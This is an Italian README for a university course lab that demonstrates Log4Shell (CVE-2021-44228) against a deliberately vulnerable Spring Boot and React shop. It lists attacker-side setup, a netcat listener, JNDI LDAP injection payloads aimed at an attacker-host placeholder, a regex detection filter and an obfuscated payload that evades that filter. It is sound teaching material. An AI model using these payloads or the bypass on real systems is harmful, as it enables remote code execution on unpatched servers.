TPAS Log4Shell PoC

Questa repository contiene una Prova di Concetto (PoC) per la vulnerabilità Log4Shell (CVE-2021-44228), sviluppata come parte del lavoro per l'unità curriculare TPAS del Master in Sicurezza Informatica presso FCUP.

Include:

• Un frontend React SPA che simula un sito e-commerce generico con funzionalità di base come la navigazione dei prodotti e la visualizzazione dei dettagli fondamentali (descrizione, prezzo, valutazione, ecc.), fornite tramite l'API JSON fittizia https://dummyjson.com/docs/products
• Un backend Spring Boot REST API che utilizza una versione vulnerabile di Log4j 2.14.
• Uno script bash che configura gran parte delle componenti lato attaccante necessarie per sfruttare Log4Shell.

Per eseguire questo stack è necessario:

• Sull'host target:
  • Installare Docker
  • Sostituire <target_ip> nella variabile d'ambiente NEXT_PUBLIC_BACKEND_URL in docker-compose.yaml
  • Eseguire docker-compose up
• Sull'host attaccante:
  • Installare Java, Python e Maven
  • Aprire le porte necessarie, eseguire ./init.sh --help per vedere le porte e cosa fa lo script
  • Eseguire lo script init.sh
  • Eseguire un listener netcat: nc -lvnp

Una volta che tutto è in esecuzione:

Inserisci questo payload nella barra di ricerca (codificato in URL poiché sarà in un parametro GET):

%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D

Oppure inserisci questo payload negli header di una richiesta (puoi usare Burp Suite per intercettare una richiesta e modificarla):

${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}

Sul sito web, c'è un'icona accanto al nome utente che permette di attivare/disattivare la sanitizzazione della stringa registrata usando l'espressione regolare \$\{jndi:.*?}. Per impostazione predefinita, la sanitizzazione è disabilitata, rappresentata da un'icona di demone rosso. Quando la sanitizzazione è abilitata, l'icona diventa una faccina sorridente verde.

Questa funzionalità può essere usata per simulare un bypass WAF; puoi aggiungere ulteriori espressioni regolari nella classe LoggerManager.java del backend.

Ecco un payload che non sarà riconosciuto dalla regex corrente:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}